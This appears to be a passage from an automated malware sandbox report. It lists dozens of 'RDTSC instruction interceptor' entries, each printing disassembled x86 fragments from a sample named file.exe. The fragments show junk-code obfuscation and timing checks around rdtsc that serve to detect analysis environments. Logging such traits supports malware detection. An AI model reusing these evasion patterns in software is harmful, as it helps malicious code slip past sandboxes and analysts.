Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50D0163 second address: 50D0169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50D0169 second address: 50D016D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50D016D second address: 50D0171 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50D0171 second address: 50D018D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0E647B6081h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51008F0 second address: 51008F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51008F6 second address: 51008FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51008FA second address: 510091B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F0E6551CA42h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 510091B second address: 5100923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, bx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5100923 second address: 5100954 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 pushfd 0x00000007 jmp 00007F0E6551CA3Eh 0x0000000c and ecx, 73E991A8h 0x00000012 jmp 00007F0E6551CA3Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5100954 second address: 510095C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, cx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50E0344 second address: 50E034A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50E034A second address: 50E034E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50E034E second address: 50E0394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax+04h], 00000000h 0x0000000c pushad 0x0000000d mov di, 28ECh 0x00000011 pushad 0x00000012 mov edx, 393A1E16h 0x00000017 mov bx, 05A2h 0x0000001b popad 0x0000001c popad 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov di, ax 0x00000024 pushfd 0x00000025 jmp 00007F0E6551CA3Eh 0x0000002a sbb esi, 6E4C3238h 0x00000030 jmp 00007F0E6551CA3Bh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C0518 second address: 50C051C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C051C second address: 50C0522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C0522 second address: 50C0606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 5DC543B1h 0x00000008 pushfd 0x00000009 jmp 00007F0E647B607Eh 0x0000000e adc ecx, 27198588h 0x00000014 jmp 00007F0E647B607Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e jmp 00007F0E647B6086h 0x00000023 push eax 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F0E647B6081h 0x0000002b jmp 00007F0E647B607Bh 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007F0E647B6088h 0x00000037 adc cx, 8578h 0x0000003c jmp 00007F0E647B607Bh 0x00000041 popfd 0x00000042 popad 0x00000043 xchg eax, ebp 0x00000044 pushad 0x00000045 call 00007F0E647B6084h 0x0000004a mov ch, 8Fh 0x0000004c pop edx 0x0000004d call 00007F0E647B607Ch 0x00000052 mov ebx, esi 0x00000054 pop eax 0x00000055 popad 0x00000056 mov ebp, esp 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b pushfd 0x0000005c jmp 00007F0E647B6086h 0x00000061 sbb cl, 00000068h 0x00000064 jmp 00007F0E647B607Bh 0x00000069 popfd 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C0606 second address: 50C060B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50C060B second address: 50C0610 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50D0E52 second address: 50D0E9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 mov cx, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e jmp 00007F0E6551CA3Ch 0x00000013 pushfd 0x00000014 jmp 00007F0E6551CA42h 0x00000019 xor ecx, 39FA8AF8h 0x0000001f jmp 00007F0E6551CA3Bh 0x00000024 popfd 0x00000025 popad 0x00000026 mov dword ptr [esp], ebp 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c mov di, B8D4h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50D0E9C second address: 50D0EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ebp, esp 0x00000007 jmp 00007F0E647B6086h 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0E647B607Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50D0EC8 second address: 50D0ECC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50D0ECC second address: 50D0ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50E0152 second address: 50E0163 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 mov ah, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50E0163 second address: 50E0169 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5100011 second address: 5100045 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, E852h 0x00000007 mov al, bl 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e pushad 0x0000000f call 00007F0E6551CA3Ah 0x00000014 pop esi 0x00000015 popad 0x00000016 mov ecx, edi 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F0E6551CA43h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5100045 second address: 510004B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 510004B second address: 510004F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 510004F second address: 5100053 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5100053 second address: 5100068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0E6551CA3Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5100068 second address: 510007A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E647B607Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 510007A second address: 51000A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0E6551CA45h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51000A4 second address: 510013E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F0E647B607Ch 0x00000011 sbb si, F7E8h 0x00000016 jmp 00007F0E647B607Bh 0x0000001b popfd 0x0000001c mov di, cx 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 push eax 0x00000023 pushad 0x00000024 popad 0x00000025 pop edi 0x00000026 popad 0x00000027 xchg eax, ecx 0x00000028 pushad 0x00000029 call 00007F0E647B6084h 0x0000002e push esi 0x0000002f pop ebx 0x00000030 pop esi 0x00000031 push ebx 0x00000032 movzx eax, bx 0x00000035 pop edi 0x00000036 popad 0x00000037 mov eax, dword ptr [76FB65FCh] 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f movsx edx, ax 0x00000042 pushfd 0x00000043 jmp 00007F0E647B6088h 0x00000048 jmp 00007F0E647B6085h 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 510013E second address: 51001AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0E6551CA47h 0x00000009 jmp 00007F0E6551CA43h 0x0000000e popfd 0x0000000f mov ecx, 265F3A4Fh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test eax, eax 0x00000019 jmp 00007F0E6551CA42h 0x0000001e je 00007F0ED7350213h 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 movsx edi, ax 0x0000002a jmp 00007F0E6551CA46h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51001AC second address: 5100212 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0E647B6081h 0x00000009 sub esi, 5D93C646h 0x0000000f jmp 00007F0E647B6081h 0x00000014 popfd 0x00000015 call 00007F0E647B6080h 0x0000001a pop ecx 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov ecx, eax 0x00000020 pushad 0x00000021 mov al, dl 0x00000023 movzx eax, dx 0x00000026 popad 0x00000027 xor eax, dword ptr [ebp+08h] 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F0E647B6087h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5100212 second address: 5100288 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0E6551CA3Fh 0x00000009 sbb ecx, 0DBE2F8Eh 0x0000000f jmp 00007F0E6551CA49h 0x00000014 popfd 0x00000015 mov edx, esi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a and ecx, 1Fh 0x0000001d jmp 00007F0E6551CA3Ah 0x00000022 ror eax, cl 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F0E6551CA3Dh 0x0000002d xor esi, 2FBE3276h 0x00000033 jmp 00007F0E6551CA41h 0x00000038 popfd 0x00000039 mov eax, 40039567h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5100288 second address: 510028D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 510028D second address: 5100293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B0065 second address: 50B009E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushfd 0x00000008 jmp 00007F0E647B6082h 0x0000000d or ecx, 5F694278h 0x00000013 jmp 00007F0E647B607Bh 0x00000018 popfd 0x00000019 pop ecx 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e movsx edi, ax 0x00000021 push eax 0x00000022 push edx 0x00000023 mov bx, ax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B009E second address: 50B00E1 instructions: 0x00000000 rdtsc 0x00000002 mov dx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 and esp, FFFFFFF8h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ax, dx 0x00000011 pushfd 0x00000012 jmp 00007F0E6551CA43h 0x00000017 or ah, FFFFFF9Eh 0x0000001a jmp 00007F0E6551CA49h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B00E1 second address: 50B00E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B00E8 second address: 50B011F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esp 0x00000008 jmp 00007F0E6551CA44h 0x0000000d mov dword ptr [esp], ecx 0x00000010 pushad 0x00000011 mov eax, 00CD269Dh 0x00000016 mov di, ax 0x00000019 popad 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F0E6551CA3Bh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B011F second address: 50B0125 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B0125 second address: 50B01C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F0E6551CA3Eh 0x0000000e xchg eax, ebx 0x0000000f pushad 0x00000010 pushad 0x00000011 call 00007F0E6551CA3Ch 0x00000016 pop ecx 0x00000017 call 00007F0E6551CA3Bh 0x0000001c pop ecx 0x0000001d popad 0x0000001e pushfd 0x0000001f jmp 00007F0E6551CA49h 0x00000024 and esi, 645594A6h 0x0000002a jmp 00007F0E6551CA41h 0x0000002f popfd 0x00000030 popad 0x00000031 mov ebx, dword ptr [ebp+10h] 0x00000034 pushad 0x00000035 mov esi, 3D464273h 0x0000003a popad 0x0000003b xchg eax, esi 0x0000003c jmp 00007F0E6551CA42h 0x00000041 push eax 0x00000042 pushad 0x00000043 movsx edi, si 0x00000046 popad 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F0E6551CA42h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B01C4 second address: 50B0215 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 3DD13184h 0x00000008 movsx edx, cx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov esi, dword ptr [ebp+08h] 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 jmp 00007F0E647B607Ch 0x0000001d popad 0x0000001e xchg eax, edi 0x0000001f jmp 00007F0E647B6080h 0x00000024 push eax 0x00000025 pushad 0x00000026 mov di, 6C14h 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F0E647B6083h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B0215 second address: 50B0221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xchg eax, edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B0221 second address: 50B0227 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B0227 second address: 50B0269 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 6853F16Ah 0x00000008 jmp 00007F0E6551CA3Bh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 test esi, esi 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F0E6551CA44h 0x00000019 and al, 00000058h 0x0000001c jmp 00007F0E6551CA3Bh 0x00000021 popfd 0x00000022 push eax 0x00000023 push edx 0x00000024 mov di, cx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B0269 second address: 50B02FF instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0E647B6082h 0x00000008 sbb esi, 6A4143B8h 0x0000000e jmp 00007F0E647B607Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 je 00007F0ED66343F8h 0x0000001d jmp 00007F0E647B6086h 0x00000022 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F0E647B607Eh 0x00000030 xor eax, 36A41D48h 0x00000036 jmp 00007F0E647B607Bh 0x0000003b popfd 0x0000003c jmp 00007F0E647B6088h 0x00000041 popad 0x00000042 je 00007F0ED66343B0h 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b mov dl, FBh 0x0000004d push esi 0x0000004e pop ebx 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B02FF second address: 50B0311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E6551CA3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B0311 second address: 50B0315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B0315 second address: 50B03CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [esi+44h] 0x0000000b pushad 0x0000000c call 00007F0E6551CA3Dh 0x00000011 jmp 00007F0E6551CA40h 0x00000016 pop esi 0x00000017 push edx 0x00000018 mov di, cx 0x0000001b pop eax 0x0000001c popad 0x0000001d or edx, dword ptr [ebp+0Ch] 0x00000020 pushad 0x00000021 mov cx, di 0x00000024 push ebx 0x00000025 pop ecx 0x00000026 popad 0x00000027 test edx, 61000000h 0x0000002d jmp 00007F0E6551CA49h 0x00000032 jne 00007F0ED739AD50h 0x00000038 jmp 00007F0E6551CA3Eh 0x0000003d test byte ptr [esi+48h], 00000001h 0x00000041 pushad 0x00000042 mov si, C57Dh 0x00000046 pushfd 0x00000047 jmp 00007F0E6551CA3Ah 0x0000004c jmp 00007F0E6551CA45h 0x00000051 popfd 0x00000052 popad 0x00000053 jne 00007F0ED739AD2Ah 0x00000059 jmp 00007F0E6551CA3Eh 0x0000005e test bl, 00000007h 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B03CA second address: 50B03E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B03E7 second address: 50B03F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E6551CA3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50B03F7 second address: 50B03FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0814 second address: 50A083B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0E6551CA43h 0x00000008 push esi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov edx, 3E36A082h 0x00000016 mov eax, edx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A083B second address: 50A0864 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6084h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0E647B607Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0864 second address: 50A0890 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 jmp 00007F0E6551CA3Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F0E6551CA3Eh 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0890 second address: 50A0894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0894 second address: 50A08B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A08B1 second address: 50A0906 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d mov edx, ecx 0x0000000f push eax 0x00000010 mov dx, AB5Ah 0x00000014 pop edi 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 jmp 00007F0E647B607Eh 0x0000001c push eax 0x0000001d jmp 00007F0E647B607Bh 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F0E647B6085h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0906 second address: 50A090C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A090C second address: 50A0910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0910 second address: 50A098B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007F0E6551CA46h 0x00000011 push eax 0x00000012 pushad 0x00000013 movsx edx, cx 0x00000016 pushad 0x00000017 movzx eax, di 0x0000001a jmp 00007F0E6551CA45h 0x0000001f popad 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 jmp 00007F0E6551CA3Eh 0x00000027 mov esi, dword ptr [ebp+08h] 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F0E6551CA47h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A098B second address: 50A0A00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebx, 00000000h 0x0000000f jmp 00007F0E647B607Eh 0x00000014 test esi, esi 0x00000016 jmp 00007F0E647B6080h 0x0000001b je 00007F0ED663BA4Ah 0x00000021 pushad 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 push ebx 0x00000025 pushfd 0x00000026 jmp 00007F0E647B6084h 0x0000002b jmp 00007F0E647B6085h 0x00000030 popfd 0x00000031 pop esi 0x00000032 popad 0x00000033 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d mov dl, ah 0x0000003f mov esi, ebx 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50A0A00 second address: 50A0A63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0E6551CA3Ch 0x00000009 add si, A7C8h 0x0000000e jmp 00007F0E6551CA3Bh 0x00000013 popfd 0x00000014 movzx eax, dx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ecx, esi 0x0000001c jmp 00007F0E6551CA3Bh 0x00000021 je 00007F0ED73A23A5h 0x00000027 pushad 0x00000028 push esi 0x00000029 mov bh, F0h 0x0000002b pop esi 0x0000002c mov esi, ebx 0x0000002e popad 0x0000002f test byte ptr [76FB6968h], 00000002h 0x00000036 pushad 0x00000037 jmp 00007F0E6551CA45h 0x0000003c push eax 0x0000003d push edx 0x0000003e mov edi, eax 0x00000040 rdtsc
